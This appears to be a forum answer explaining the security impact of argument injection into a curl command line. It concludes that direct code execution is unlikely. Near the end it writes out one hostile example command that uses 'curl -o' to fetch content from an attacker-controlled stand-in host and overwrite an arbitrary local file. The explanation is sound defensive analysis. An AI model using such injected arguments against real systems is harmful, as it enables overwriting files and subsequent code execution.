There is no way to directly execute code just by accessing an URL with curl.
file:// URLs read local files, and other URL schemes access files over the network. All of those only execute code that's an intended part of curl itself (including the underlying libraries and operating system).
Technically it's possible to design filesystems that execute arbitrary code when accessing a file. Typically such a filesystem would use FUSE. However, a filesystem that allows arbitrary code execution by just reading from a file would be unusual. You can't expect to find such a thing on a typical system (and if you could set it up, you'd already have a way to execute arbitrary code).
If you can pass arbitrary arguments to a
curl command line, you can pass options, i.e. arguments beginning with
-. However, with
curl, if you can only pass a single argument, I don't think you can do anything interesting:
curl wants a URL, and if you only pass an option instead, you'll only get a boring result (e.g.
curl --version) or an error. If you can pass multiple arguments, then I still can't find a way to directly execute arbitrary code, however you can overwrite arbitrary files (
curl -o /some/path http://server-under-my-control.example.org/whatever), which is very damaging in itself and often leads to subsequent arbitrary code execution.